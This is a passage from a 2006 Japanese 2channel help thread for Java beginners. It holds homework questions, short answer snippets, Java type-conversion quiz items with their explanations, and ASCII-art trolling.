> > > 鍵ペアを生成しています の表示
> > >  ̄ ̄ ̄ ̄↑ ̄ ̄ ̄ ̄ ̄
> > > この表示のまま1時間ほど待っても鍵の生成が終わらないよう
で
> す。
0436(もうよくわかんないけど)続き
2006/10/12(木) 15:11:01> > >
> > > 当該ソフト自体はフリーズしている様子はなく、Windowsも生
きて
> い
> > る状態で
> > > ただ「鍵ペアを生成しています」と表示したまま先へ進まない
と> いう
> > 状況です。
> > >
> > > 何度かソフトの起動を繰り返しても状況は変わらず、
> > > 終了もできないので、Windowsごとシャットダウンしている次
第で
> > す。
> > >
> > > 質問自体がつたなく、申し訳ありません。必要な付加情報があ
り
> まし
> > たら
> > > 言っていただければ提示しますので、宜しくお願いします。
0437デフォルトの名無しさん
2006/10/12(木) 15:15:080438もうね、
2006/10/12(木) 15:17:20いや、ほんとうに試させてくださる方がいらっしゃいましたら
話しの種子に、お伺いします。忘れてたけど連絡先は
> [email protected] です。ふつうのおっさんです。
もし、受信拒否とかされたら御手数ですが言ってもらえれば
別のアドレスをうpします。じゃあ、、仕事に戻るにだ。。
0440デフォルトの名無しさん
2006/10/12(木) 15:38:47どんな人なのでしょうか?ググっても情報は見つからず
0441デフォルトの名無しさん
2006/10/12(木) 15:41:52,,-‐----‐、 , -'"` ̄ ̄"`''-,__, --‐‐-..,
/ 、゙ヽ、 ‐-'´ ヽ‐- / / ヽ
,/´ .., ヽ,,l_)' zェェェァ' ;rfァt ヽ ,ト/ / ヽ
/ ヽ,r' ,l′ _,,, . __,, ,l゙.-〈__r,'、 ヽ_
_.l ヽ」 ,l .イてソ` l イにj`,/ ゙‐ヽ、_,, /l ジャヴァすらできないなんて
,l l| −'´ll ,l rソi" ヽ じ'' f゙l .,//゙l //\ ココおかしいんじゃねえか
l`l| l|ヽ v'⌒ヽ .,ノ j/ |l // }
l \ l| ,l l_U> r‐--‐ァ ,l |,l // l
/ '\ l|`l ゝ_,´ ゙ヽ__r′ .,.' ___l ヽ // |
,l '\ l| .lヽ__lL..,,, __ ,, _イ___./ | ∨/ ,}
| ヽl | ,| .ヽ \ //ヽ ,| ,l
| l ,l ヽ \// l \ /
ヽ | \. ヽ/ l ヽ /j
\ / ヽ ヽ | l /
゙l\.. / ヽ ヽj | , /
ヾ ヽ ヽ ヽ / ,l
ヽ、 ヽ l } / ,r′
ヽ ヽ | /′ ,,...''
`'':..、 ___ ___,..-.. |, ,l , :..-‐'"´
 ̄ /lr‐‐‐'--、_..... l_,..-'''""'- "
0442デフォルトの名無しさん
2006/10/12(木) 15:43:45そんなに誰にも相手にされない寂しい人なんだね・・・
0443デフォルトの名無しさん
2006/10/12(木) 16:07:55いや、このスレで質問するバカがアホなんだよ
0444デフォルトの名無しさん
2006/10/12(木) 16:42:56アホなバカ乙w
0445デフォルトの名無しさん
2006/10/12(木) 17:08:40「Javaスレッドプログラミング」の著者。
Tigerのjava.util.concurrentは彼の作ったものが土台になってる。
あと、JDK1.2が出る前に、まともなコレクションライブラリを作ったりもしてる。
(いまあるのとは違う)
http://g.oswego.edu/dl/
0446デフォルトの名無しさん
2006/10/12(木) 19:15:34宿題なんですが、とりあえず問題を載せます
1から始まる5つの数列を表示するプログラムを以下の手順で作成する。
・数列表示機能を持つクラスSequencePrinter.javaを作成する。
・SequencePrinterクラスのオブジェクトに仕事をさせ、実行結果通り出力するmainメソッドを持つプログラムPrint1to5.javaを作成する。
*繰り返しはwhile文を用いること
これ『クラス』の作成と『プログラム』の作成の二つあるわけなんですが、一体何が違うんでしょうか?
どういう風に作成したらいいのかわかりません
二つ別々に作るんですよね?
ちょっとわかりにくくてすみません
質問なのでこっちのスレに書かせてもらいました
お願いします
0447sage
2006/10/12(木) 20:23:59JButton folder_open_btn;
public void actionPerformed(ActionEvent ae){
if (ae.getSource().equals(folder_open_btn)) {
String folder_path="C:/folder1";
/* フォルダをオープンして表示させる処理 */
}
}
お願いします。
0448デフォルトの名無しさん
2006/10/12(木) 20:41:25クラスとプログラムはこの文章みると同じと考えていいよ。
それで2つ別々に作ればいい。
1.まず、Print1to5クラスをPrint1to5.javaというファイル名で作る。単純にHelloWorldでも表示させる。
2.Print1to5クラスのmain内でwhile文を使って1から5を表示。
3. 2で書いた部分が、「数列表示機能」になるので、それをPrint1to5クラス内でメソッド化して、其のメソッドを
読んで表示させてみる。
4.今度は、其のメソッドをSequencePrinterクラスを作ってコピペ。
5.Print1to5クラスのmainでSequencePrintクラスを生成して、4で作ったメソッドを呼ぶ。
答え載せたほうがいいか?
0449デフォルトの名無しさん
2006/10/12(木) 20:53:21JFileCooserクラスを使う。
JFileCooser jfc = new JFileCooser(folder_path);
jfc.showOpenDialog(this);
暇なときに↓サンプルを自分で書いて、いろいろなメソッドを試してみな。
http://wisdom.sakura.ne.jp/system/java/swing/swing38.html
0450デフォルトの名無しさん
2006/10/12(木) 21:07:35もしもの時用
パス名からみてWindowsだろうから
ProcessBuilder pb = new ProcessBuilder("cmd", "/c", "start", folder_path);
try {
Process p = pb.start();
} catch (java.io.IOException e) {
e.printStackTrace();
}
もしWindows9x系なら、cmdでなくcommand
0451デフォルトの名無しさん
2006/10/12(木) 21:31:00例えば
1 2.0 −3.6 …
と入力した場合
1, 2.0, -3.6, …, …,
とループを使って次々と変数strに値を増やしていくコードはどのようにするのでしょうか
クラスArrayListを使うらしいのですがよく分かりません
お願い致します
0452デフォルトの名無しさん
2006/10/12(木) 21:37:22request.getHeader("user-agent");
で良いですよね?
大文字小文字って区別しますか?
ほとんどの場合は取れてますが、たまに取れない時があるようなんです。
Apacheのログを見ると、どうもHTTP/1.1でアクセスされたときは取れないようにも見えます。
誰か心当たりありますか?
0453デフォルトの名無しさん
2006/10/12(木) 21:39:23その仕様、俺だったらStringBufferやStringBuilder使うがな。
0454デフォルトの名無しさん
2006/10/12(木) 21:55:14素数を割り出すプログラムについてですが、
2より大きい偶数をあらかじめ取り除いて判定しないようにしたいのです。
public static void main(String[] args){
int max = 1000;
int rt = (int) Math.sqrt(max);
int half =
boolean[] flags = new boolean[half];
int i, k, p;
for( i =0 ; i < half ; i++ )
flags[i] = true;
System.out.print(2 + ", ");
for( i = 0 ; i < half ; i++ ) {
if (flags[i]) {
p =
System.out.print(p + ",");
if(p <= rt){
for ( k = i+p ; k < half ; k+= p ) {
flags[k] = false;
ここまではできたのですが、int halfの右辺とpの右辺が分かりません。
どなたか教えてくださいませ。
0455デフォルトの名無しさん
2006/10/12(木) 22:01:03なにが?
0456デフォルトの名無しさん
2006/10/12(木) 22:03:37プログラムですよ。
あとはhalfとpの中身を入れれば完成だと思うのですが・・・
違うのでしょうか?
0457デフォルトの名無しさん
2006/10/12(木) 22:10:29どんな方法で素数求めたいかわからんから答えようがない。
普通は「エラトステネスのふるい」だがな。
そもそもfor文はどこで終わるんだ。
0458デフォルトの名無しさん
2006/10/12(木) 22:39:46人 が 純 L_ /;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ ,';;/ ) 何
奴 .許 労 //;;/´ `' 、;;;;;;;;,,l;;' /ヽ と
隷 さ. 働 /.,';/ ヽ;;;;,l;L_ .,,、,--ュ、 ';;;;;;;;;な struts
ま れ l |;|┌--‐フ ┌----、、 |;ヾr''‐ヽ, ,、ィ'r-‐''''''‐ヽ ';;;;;;く !!
で る i |l ~~__´ 、 ``'__''''┘ |;;;;;l rO:、; ´ ィ○ヽ 'i;;;;;厶,
じ の l _|. <,,O,> 〉 <,,O,,> |;;;;;| `'''"/ `'''''"´ !;;;;;;;;ヽ
ゃ は ._ゝ'|. / 、 |; ,' / 、 |;;;;;;;;;;;;;レ、⌒Y⌒ヽ
ぞ 「 | | ( ) .ソ l ,:' _ ヽ .|;;;;;;;//-'ノ
ヽヽ | _,ニ ニ,,,,,_ ', ゞ,' '"'` '" i;;;;;i, `' /
⌒レ'⌒ヽ厂 ̄ `| ,、ィ-‐''__'''‐-`,、 '' ', i、-----.、 `''"i`'''l
人_,、ノL_,iノ! ', :i゙''''''''''`l' ` _人__人ノ_ヽ ヾ゙゙゙゙ニニ'\ ,' ト、,
/ ヽ. L__」 「 止 笑 L_ ヽ〈 i| Vi゙、
ハ ワ {. ヽ. -、、、、 ' ノ ま い 了゙, ,ヽ===-'゙ ,' , // ヽ
ハ ハ ヽ. ハ ) ら が | ',.' ,  ̄ , ' ノ /./ ヽ,
ハ ハ > /|ヽヽ、___,,,,、 'く ん > ヽ.  ̄´ / ,、 ' / / \
ハ ハ / ノ. | ヽ フ / ノ:lゝt-,-‐''" / ,.ィ゙ /
0459デフォルトの名無しさん
2006/10/13(金) 00:16:19怠けるのもほどほどに。まず初心者になってから来てね。
0460デフォルトの名無しさん
2006/10/13(金) 00:29:39字を見て文脈を読まず
お前のやってることは見当違いかどうかすら、分からない
0461デフォルトの名無しさん
2006/10/13(金) 00:37:210462デフォルトの名無しさん
2006/10/13(金) 01:30:43| ノ ヽ !
/ ● ● | こいつ最高にアホ
| ( _●_) ミ
彡、 |∪| / .\
/ __ ヽノ / \ ...\
(___) / .│ ..│
│ │
/ ヽ
l..lUUU
.U
0463デフォルトの名無しさん
2006/10/13(金) 01:32:110464デフォルトの名無しさん
2006/10/13(金) 02:08:00荒らしなんかに頼らず俺に聞いてくれ
0465デフォルトの名無しさん
2006/10/13(金) 02:22:54XMLとかで特定のIDを付加してエントリーさせるような
仕組みにしか使い道が無い?
0466デフォルトの名無しさん
2006/10/13(金) 02:42:29そうですか‥
ありがとうございます
すみませんがお願いしますorz
別々に作ってみてPrint1to5.javaは実行できたのですが、SequeucePrinter.javaがどうしてもエラーが出て実行できないんですよね…
0467デフォルトの名無しさん
2006/10/13(金) 03:45:00Print1to5.javaファイル。
public class Print1to5 {
public static void main(String [] args) {
/* SequencePrinterクラスのスタティックメソッドを呼ぶ例 */
SequencePrinter.print();
/* SequencePrinterクラスのインスタンスメソッドを呼ぶ例
* SequencePrinter sp = new SequencePrinter();
* sp.print();
*/
}
}
SequencePrinter.javaファイル。
public class SequencePrinter {
/* とりあえず、1から5を表示する例. */
public static void print() {
int count = 1;
while (count < 6) {
System.out.println(count);
count++;
}
}
}
0468デフォルトの名無しさん
2006/10/13(金) 03:57:19LinuxやMac OSXでコンパイルして実行したらこんな感じ。
$ javac Print1to5.java SequencePrinter.java
$ java -cp . Print1to5
1
2
3
4
5
とりあえず、>>448の3までは出来たという認識でいいのかな?
SequencePrinterのprintメソッドが「数値表示機能」になる。
数列というのが、単純に1から5の事を言っているならこのソースでいいと思う。
等差数列やフィボナッチ数列などを意味しているなら、このprintメソッド内の
アルゴリズムを作りこめばいい。
問題が難しいと感じるなら、俺が1〜5ってやったみたいに、小さな問題に分けて
コンパイルと実行を少しずつ進めていきな。いきなり全部やろうとすると
多分パニックになると思うので。。。
0469デフォルトの名無しさん
2006/10/13(金) 06:06:17正直ずっとC言語でやってきたのでjavaはこれから学ぶところです。
ページを移動(リンクをクリック等)する度にある関数を呼ぶ、というプログラムを作りたいのですが、
ページ移動を感知するようなメソッドはあるのでしょうか?
よろしくお願いします。
0470デフォルトの名無しさん
2006/10/13(金) 09:31:08そりゃECMAscriptだ。java関係ないし。
0471デフォルトの名無しさん
2006/10/13(金) 11:29:00これで良いのかどうか、今ひとつ自信がありません。
何か、ここはこうしたほうがいいというようなことがあったら、
どうぞ教えていただけないでしょうか。お願いします。
package sort;
public class ShellSort {
public static void main(String[] args){
int[] i={
209,29,30,2,22,6,67,7,70,6,
30,267,630,230,20,17,48,72,5,19,
250,69,10,530,6,10,570,50,1,40
};
Sort.ShellSort(i);
Sort.PrintResolt(i);
}}
0472デフォルトの名無しさん
2006/10/13(金) 11:29:53class Sort{
static void ShellSort(int[] i){
int flag=0;
for(int h=i.length/2;h>0;h/=2){
do{
flag=0;
for(int j=0;j+h<i.length;++j){
if(i[j]>i[j+h]){
int w=i[j+h];
i[j+h]=i[j];
i[j]=w;
flag=1;
}}
}while(flag==1);
}}
static void PrintResolt(int[] k){
for(int l=1;l<=k.length;++l){
System.out.printf("配列[%d]=%d\n",l,k[l-1]);
}}}
0473デフォルトの名無しさん
2006/10/13(金) 13:42:37Javaより先に英語勉強しろや
0474デフォルトの名無しさん
2006/10/13(金) 13:49:090475デフォルトの名無しさん
2006/10/13(金) 14:00:130476デフォルトの名無しさん
2006/10/13(金) 14:10:050478デフォルトの名無しさん
2006/10/13(金) 16:31:26ttp://www.google.co.jp/search?q=resolt
0479デフォルトの名無しさん
2006/10/13(金) 16:41:29わろた。
リソートかと思ったぜ
re-sort
0480デフォルトの名無しさん
2006/10/13(金) 16:42:01り・そると
塩分再処理行程
0481デフォルトの名無しさん
2006/10/13(金) 18:05:39生 が 形 L_ /;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ ,';;/ ) 何
バ .許 処 //;;/´ `' 、;;;;;;;;,,l;;' /ヽ と
イ さ. 理 /.,';/ ヽ;;;;,l;L_ .,,、,--ュ、 ';;;;;;;;;な JaveEE
ト れ l |;|┌--‐フ ┌----、、 |;ヾr''‐ヽ, ,、ィ'r-‐''''''‐ヽ ';;;;;;く !!
ま る i |l ~~__´ 、 ``'__''''┘ |;;;;;l rO:、; ´ ィ○ヽ 'i;;;;;厶,
で の l _|. <,,O,> 〉 <,,O,,> |;;;;;| `'''"/ `'''''"´ !;;;;;;;;ヽ
じ は ._ゝ'|. / 、 |; ,' / 、 |;;;;;;;;;;;;;レ、⌒Y⌒ヽ
ゃ 「 | | ( ) .ソ l ,:' _ ヽ .|;;;;;;;//-'ノ
ぞ ヽヽ | _,ニ ニ,,,,,_ ', ゞ,' '"'` '" i;;;;;i, `' /
⌒レ'⌒ヽ厂 ̄ `| ,、ィ-‐''__'''‐-`,、 '' ', i、-----.、 `''"i`'''l
人_,、ノL_,iノ! ', :i゙''''''''''`l' ` _人__人ノ_ヽ ヾ゙゙゙゙ニニ'\ ,' ト、,
/ ヽ. L__」 「 止 笑 L_ ヽ〈 i| Vi゙、
ハ ワ {. ヽ. -、、、、 ' ノ ま い 了゙, ,ヽ===-'゙ ,' , // ヽ
ハ ハ ヽ. ハ ) ら が | ',.' ,  ̄ , ' ノ /./ ヽ,
ハ ハ > /|ヽヽ、___,,,,、 'く ん > ヽ.  ̄´ / ,、 ' / / \
ハ ハ / ノ. | ヽ フ / ノ:lゝt-,-‐''" / ,.ィ゙ /
0482デフォルトの名無しさん
2006/10/13(金) 18:30:05System.out.println(st.getBytes());
は実際には
System.out.println(byt.toString());
System.out.println(st.getBytes().toString());
のように動作するから
でええだろうや
どっちもことなるインスタンス難や
0483デフォルトの名無しさん
2006/10/13(金) 18:30:58ことはもう誰もがお見通しですよ
0484デフォルトの名無しさん
2006/10/13(金) 18:35:540485デフォルトの名無しさん
2006/10/13(金) 18:54:27| ノ ヽ
/ ● ● |
| ( _●_) ミ
彡、 |∪| 、`\ ジャヴァ最高!
/ __ ヽノ /´> )
(___) / (_/
| /
| /\ \
| / ) )
∪ ( \
\_)
0486デフォルトの名無しさん
2006/10/13(金) 18:56:23/ ⌒ ⌒ ::: \
| (●), 、(●)、 | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| ,,ノ(、_, )ヽ、,, | < ジャヴァ最強!
| ト‐=‐ァ' .::::| \_________
\ `ニニ´ .:::/
/`ー‐--‐‐―´´\
0487デフォルトの名無しさん
2006/10/13(金) 18:58:460488デフォルトの名無しさん
2006/10/13(金) 19:04:11_/ ::(
/::::::: \
(:::::::: )
,,,\;;;::: ― ̄ ̄::::ヽ
ノ:::::::::::::: ::: c ヾ,
(;;:::::::::::::: ;
/ ̄――――― ̄ ̄^ ~\
(::::::::::::::::::::::::: : :::: i / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
人;;;;; (,;;;;;,,,, ,,;;;;;;;;;,,, );;;... ;;;ノ_ |
/ "ゝ・-イ⌒"ゝ・-イ ,,,,;;::''''' ::::\ < ジャヴァ最速!
(::::::::::::: ,,, (´__) __ ::;;i、 |
入:::::::::::::::: :::::;;,;;;;;;;;;;;;;;,;;; " :::: '" ::_;; ;ノ,, \_________
/"':;;`丶;;;;;;;;;;;;;;;,,,;;;`ー―‐'";.. ::::::.. ,, " ...::::::::::ヽ、
i;;.. c;; ,,,,,:::::::: ''''''' ::::: ~ ''''''..;;;:,イ、
{;:;:;:::::::;;::::z、,,,::::;;;;_,,,、__;;z、:;;-‐''''゙゙゙゙_j ;;;; ィ ,,,,,,,,,,丶;;::;;/ ;;_)
0489デフォルトの名無しさん
2006/10/13(金) 19:21:07_,ィ'''ー-、,_ _,,,.-‐‐'''""`'''ー-、,,_
,.-''" ::.`'゛!;::. :: ..: :. `""""`'''''ー--、,,__
,r',.. . :: , .::`'ヽ;:. ::. .. ::. :.. ..:: ::.::...:`'''ー--、
/- ..: . :.. ;! : . :. ゛i:. . . :.::. .: `ヽ、
ノ:"''..:-、 . .::/ . . :. :゛l: .:. .: : :. ..: ..:::. ヽ
/:.. ャ-ァ::.. :::/ ; ':; . l... .. . : :. :..:. ゛i
(,: ´ :l:. : :' ノ::.. ..:: .. .:. ::.. .: .. ::. ..:!
. i: ::.. r ,::..!;;,__:':. .;;'r':::..:.. .: .. ::: .. .:: ..::: .. :.. .: .::!
ノ:. .::ノ ,r''"`'i:::: `ヾ;'.. :. .:::.:.. .. .:. ..:::. .:: ::: :..::. :. .: .. ::l
!:. i",r''"7 l:.. :. ヽ;:.. ..ヽ;:. :. .:/:::: :..:: .: :..:::!;:: . .: :.!
i:. . :.ゞ ノ l:: : :..ヽ;;:..:::l:.: .: ./:. :: .::. : :: . .:ヽ:. .: ::l
.,ノ゛!;.. ,ノ ,.イ l: .::/`'ヾl::. .::./:、; ::. :. ..:: .. .:. ::.l::.. .:!
`"´,!',/ ..:l, l: .:/ l: .:i'''"`''i-、;;,_::. .. .::::,'ヽ;:.:. . .::/
'´`、- l, l i i: i ';::::. .`'':'':::7''"ヽ;::..:.. . :. .:::i
',_,. l l l. ! l l:. .:/ ゛i:. . : .::l
゛!,. l:. ..:ノ i:.. . .:,! !:. .:! ! l:. .:l
`'"'''"'''''ー'''" `'''"'''''''''''" `''""'''''''''" "'"''''''ー'"-'ー----
0490デフォルトの名無しさん
2006/10/13(金) 19:30:14AA貼って喜んでるなんて最悪板の引篭もりと同類かw
0491デフォルトの名無しさん
2006/10/13(金) 19:53:42どなたか、この問題の答えが分かる方いらっしゃいましたら教えてください。
ちなみに、問4に関しては、1+3+5、3+5、1+3、1+5、3、5どの組み合わせでも
不正解でした。問5に関しては、2、5、1+2+3+4、1+3+4、1+3+4+5どの組み合
わせでも不正解でした。ちなみにオンライン教材なので、正解か不正解か
だけは分かるんです。
問4
変数の型に関して、適切な記述をすべて選びなさい。
1. 基本データ型だけが自動的に変換される。参照型の型を変えるためには、キャストが必要である。
2. 参照型だけが自動的に変換される。基本データ型の型を変えるためには、キャストが必要である。
3. 参照型を算術昇格するためには、明示的なキャストが必要である。
4. 基本データ型、参照型ともに、型変換とキャストの両方が可能である。
5. 数値型のキャストには、実行時チェックが必要な場合がある。
--------------------------------------------------------------------------------
問5
以下の式の中で、文法的に正しいものをすべて選びなさい。
1. String x = "Hello" ; int y = 9; x += y;
2. String x = "Hello" ; int y = 9; if (x == y) { }
3. String x = "Hello" ; int y = 9; x = x + y;
4. String x = "Hello" ; int y = 9; y = y + x;
5. String x = null;int y = (x != null) && (x.length( ) > 0) ? x.length( ) : 0;
0492デフォルトの名無しさん
2006/10/13(金) 19:54:44あるテキストの要約を示すと以下のようになります。
あるClassAというクラスが宣言されている。そのなかで public ClassA(String name) ・・・という
コンストラクタが定義されている。
別のクラス(MainClass)のフィールドで以下のようなインスタンス変数を宣言し初期化する。
ClassA abc = new ClassA("英語");
このとき自分は変数abcが参照するインスタンスが生成されるものだと思っていたのですが
生成されないようです。それはMainClassのインスタンスが新たに生成されない以上、abcの
インスタンスも生成されないというのです。
だとしたらMainClassのフィールドでインスタンス変数である基本データ型(たとえばint a = 100;)
とした場合でも、MainClassのインスタンスが作られるまで、aは100で初期化されないのでしょうか。
よく分からないので、ご教授お願いいたします。
0493デフォルトの名無しさん
2006/10/13(金) 19:56:03Bible bbl;という文法は一体どのような動作をしているのでしょうか?
調べようにも型名が分からなくて困ってます
0494デフォルトの名無しさん
2006/10/13(金) 20:16:02悲しい人間だな
0495デフォルトの名無しさん
2006/10/13(金) 20:18:56問4
> 1. 基本データ型だけが自動的に変換される。参照型の型を変えるためには、キャストが必要である。
参照型の拡大変換があるので、×
> 2. 参照型だけが自動的に変換される。基本データ型の型を変えるためには、キャストが必要である。
プリミティブ型の拡大変換があるので ×
> 3. 参照型を算術昇格するためには、明示的なキャストが必要である。
JLS第二版なら参照型を算術昇格できないので×
JLS第三版で unboxing変換込みで算術昇格可能とする場合は明示的なキャストは必要ないので×。
たぶん×。
> 4. 基本データ型、参照型ともに、型変換とキャストの両方が可能である。
キャストは型変換の一種なので、キャストができれば型変換もできる事になる。当然○。
> 5. 数値型のキャストには、実行時チェックが必要な場合がある。
不明。 JLS第三版で「数値型のキャスト」 に unboxing変換も含まれるなら○
そうでなければ×
0496デフォルトの名無しさん
2006/10/13(金) 20:22:49回答どうもです。しかし、不正解と返されました。
一応、解説もありますがよく分かりません。
問4の回答と解説
問題
変数の型に関して、適切な記述をすべて選びなさい。
不正解
解説
型変換に関する設問です。
型変換には、恒等変換・基本データ型の拡大変換・同縮小変換・参照データ型の
拡大変換・同縮小変換・文字列の変換・値集合の変換の7種類が存在しています。
ここでは、このうちの基本データ型および参照データ型の拡大変換と縮小変換を
取り上げています。
基本データ型の拡大・縮小変換としては、異なる整数型変数間での二項演算などが
あります。また参照データ型での拡大・縮小変換とは、「継承ツリー」上の先祖
・子孫関係にある型の間の型変換があげられます。
型変換の中でも、明示的な型変換を「キャスト」と呼んで、自動で行われるいわゆ
る「暗黙の型変換」と区別しています。
一般に、一部の例外を除いて、拡大変換は暗黙的に行われるのに対し、縮小変換は
キャストが必要とされます。
算術昇格と呼ばれる基本データ型の拡大変換は、整数型をオペランドとするもので
、暗黙的に行われます。
0497デフォルトの名無しさん
2006/10/13(金) 20:23:55> 2. String x = "Hello" ; int y = 9; if (x == y) { }
× String型と int型を == で比較する事はできない。
> 4. String x = "Hello" ; int y = 9; y = y + x;
× y + x の式の型はString型になる。int型の変数に String型の値は代入できない。
残りは全部○
> 1. String x = "Hello" ; int y = 9; x += y;
> 3. String x = "Hello" ; int y = 9; x = x + y;
> 5. String x = null;int y = (x != null) && (x.length( ) > 0) ? x.length( ) : 0;
0498デフォルトの名無しさん
2006/10/13(金) 20:27:30問4の回答と解説
問題
変数の型に関して、適切な記述をすべて選びなさい。
正解
× 基本データ型だけが自動的に変換される。参照型の型を変えるためには、キャストが必要である。 解説
参照型でも継承ツリーを「上る」方向は、暗黙のうちに「参照型の
拡大変換」(5.1.4)が適用されます。
注釈:解説中の( )内はJava言語仕様第2版のインデックス番号です。
× 参照型だけが自動的に変換される。基本データ型の型を変えるためには、キャストが必要である。 解説
基本データ型でも、代入時の拡大変換や演算式における算術昇格
変換(5.6)が暗黙のうちに行われます。
注釈:解説中の( )内はJava言語仕様第2版のインデックス番号です。
× 参照型を算術昇格するためには、明示的なキャストが必要である。 解説
算術昇格(5.6)の適用は数値型オペランドに限られています。
注釈:解説中の( )内はJava言語仕様第2版のインデックス番号です。
◎ 基本データ型、参照型ともに、型変換とキャストの両方が可能である。 解説
記述のとおりです。
× 数値型のキャストには、実行時チェックが必要な場合がある。 解説
実行時の正当性検査が必要になる可能性があるのは、参照型を
オペランドにとるキャスト変換(5.5)だけです。実行時例外が投
げられる場合は、それは ClassCastException となります。
注釈:解説中の( )内はJava言語仕様第2版のインデックス番号です。
0499デフォルトの名無しさん
2006/10/13(金) 20:28:45boxing変換入ってないね。 JLS第二版か。
> 基本データ型の拡大・縮小変換としては、異なる整数型変数間での二項演算などがあります。
この辺、嘘書いてあるので注意。「異なる整数型変数間での二項演算」ってのは
たぶん二項数値昇格を指してて、この人の言うところの「算術昇格」に含まれるはず。
0500デフォルトの名無しさん
2006/10/13(金) 20:30:070501デフォルトの名無しさん
2006/10/13(金) 20:30:37問5の回答と解説
問題
以下の式の中で、文法的に正しいものをすべて選びなさい。
正解
◎ String x = "Hello" ; int y = 9; x += y; 解説
intからStringへの変換が行われ "Hello9"となります。
× String x = "Hello" ; int y = 9; if (x == y) { } 解説
int型と参照型との比較はできません。
◎ String x = "Hello" ; int y = 9; x = x + y; 解説
intからStringへの変換が行われ "Hello9"となります。
× String x = "Hello" ; int y = 9; y = y + x; 解説
int型へのString型の代入は許されません。
◎ String x = null;int y = (x != null) && (x.length( ) > 0) ? x.length( ) : 0; 解説
ショートサーキットのおかげで、NullPointerExceptionを起こす
2ヶ所のx.length( )呼び出しが回避されます。その結果、yの値は、
式の右端の0が代入されます。
0502デフォルトの名無しさん
2006/10/13(金) 20:35:25∩_
〈〈〈 ヽ
〈⊃ }
∩___∩ | |
| ノ ヽ ! !
/ ● ● | /
| ( _●_) ミ/ <マジおすすめ
彡、 |∪| /
/ __ ヽノ /
(___) /
0503デフォルトの名無しさん
2006/10/13(金) 20:37:32> だとしたらMainClassのフィールドでインスタンス変数である基本データ型(たとえばint a = 100;)
> とした場合でも、MainClassのインスタンスが作られるまで、aは100で初期化されないのでしょうか。
されない。
0504デフォルトの名無しさん
2006/10/13(金) 20:45:51ことはもう誰もがお見通しですよ
0505デフォルトの名無しさん
2006/10/13(金) 22:39:32配列の所を終えてNew演算子に入って居る所ですが
皆さん挫折は何処辺りでしましたか?私は配列の所でちょっと挫折しましたw
0506デフォルトの名無しさん
2006/10/13(金) 22:48:360507デフォルトの名無しさん
2006/10/13(金) 22:58:31はぁ・・・
0508デフォルトの名無しさん
2006/10/13(金) 23:07:15, _____________________
∧ ∧ / いいじゃねぇか・・・もっとどんどんやりなぁ。
/ ヽ / ヽ ( おりゃあ好きだぜ、そういうちょっと弾けた奴ってさぁ・・・。
/ ヽ____/ ヽ ヽ へっ・・・なさけねぇ・・・おふくろのこと思い出しちまったぜ・・・。
/ ヽ / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
/ ヽ //
/ ⌒ ̄\ __,.. ヽ ,. ,._ ,.-,.、 -=二_ニニ==-
i -,-===ゞ' く__,. _ i // j / / ノ -=ニ_ ̄
i ..::::ノ ヾ ̄ヾ- i __ノ `-/ノ `ツ __ニ_二=-
| ....::::: . }:. | // // _,_{ ̄/ ̄ ̄ ̄ ̄/^/;;'´ ̄ ̄
| ,イ ,;_ .,ノ:::... i ヾ、_/ /_i______i_ヾ:;'
| / , ´ ー ´`i ノ / -=j" ,_/
! ノ /-====ー、 i ノ,.--、 / / /
ヽ { ⌒ " ,、 ノ }ヽ \ ノ _} / \
0509デフォルトの名無しさん
2006/10/13(金) 23:24:08Bible bbl;というのは、その参考書が作ったクラスなんじゃないのかな?
Javaの標準ライブラリにはないよ。
0510デフォルトの名無しさん
2006/10/13(金) 23:34:20問題解けなかったり、理解できなくても、どんどん進め。言語ってのは、
数ヶ月ぐらいじゃ全然成果が見えないから悶々としてくるけど、誰もが通る道だよ。
あと、他の入門書とか気になるかもしれんが、その本とWebを活用しな。
其のうち、「そういえば、xxページぐらいに書いてあったような。。。」ってなるから。
0511デフォルトの名無しさん
2006/10/13(金) 23:40:52ありがとうございました。
さらにやる気がでて来ました、
0512デフォルトの名無しさん
2006/10/14(土) 00:22:530513デフォルトの名無しさん
2006/10/14(土) 00:26:09ん? それはお前もダヨねw
>>481==>>483==AA荒らし
0514デフォルトの名無しさん
2006/10/14(土) 00:26:47> あーあ構ってチャンが発狂しちゃったよ
> AA貼って喜んでるなんて最悪板の引篭もりと同類かw
まさしくそのとおりや
0515デフォルトの名無しさん
2006/10/14(土) 00:27:53なんかデジャブのような。
何がお勧めなんだか
0516デフォルトの名無しさん
2006/10/14(土) 00:28:32その程度で挫折とは。
多くの人間がpackageの概念とClassPathで挫折する。
0517デフォルトの名無しさん
2006/10/14(土) 00:50:050518デフォルトの名無しさん
2006/10/14(土) 01:15:10package は挫折というよりは、教科書レベルでは有用性が
サッパリ理解できんというのがな。
intetrface も然り。
0519デフォルトの名無しさん
2006/10/14(土) 04:17:23ぴゅあさんのおかげでjavaがマスターできました!
0520デフォルトの名無しさん
2006/10/14(土) 04:41:040521ぴゅあ
2006/10/14(土) 04:46:35ほんとかいな
何を以って"Javaが"マスターできたと言えるのか、
あちしには判らんけど。。。
0522デフォルトの名無しさん
2006/10/14(土) 05:31:360523デフォルトの名無しさん
2006/10/14(土) 07:20:43うむ。激しく同意
0524デフォルトの名無しさん
2006/10/14(土) 07:23:490525デフォルトの名無しさん
2006/10/14(土) 07:25:09Windowsで起動しているか,それ以外かを判別できるだけでいいのですが。
よろしくお願いします。
0526524
2006/10/14(土) 07:30:32String osname = System.getProperty("os.name");
0527デフォルトの名無しさん
2006/10/14(土) 07:33:490528デフォルトの名無しさん
2006/10/14(土) 11:27:00ぴゅあってすごいガキなんだな。
そんなに構って欲しいわけ?
0529デフォルトの名無しさん
2006/10/14(土) 11:35:270530デフォルトの名無しさん
2006/10/14(土) 12:34:25遅くなって申し訳ありません
わざわざありがとうございます
今パソコンがなかなか使えなくて‥
今日か明日には必ず打ち込みますのでもう少し待って下さい‥
0531デフォルトの名無しさん
2006/10/14(土) 17:03:19大文字なら小文字、小文字なら大文字に変換しろという問題がありました(例 aBc → AbC)
なので私はtoCharArrayをした後
if文でisUpperCase or isLowerCaseを使って判定し、
toUpperCaseとtoLowerCaseで変換させるプログラムを作ろうと思ったのですが
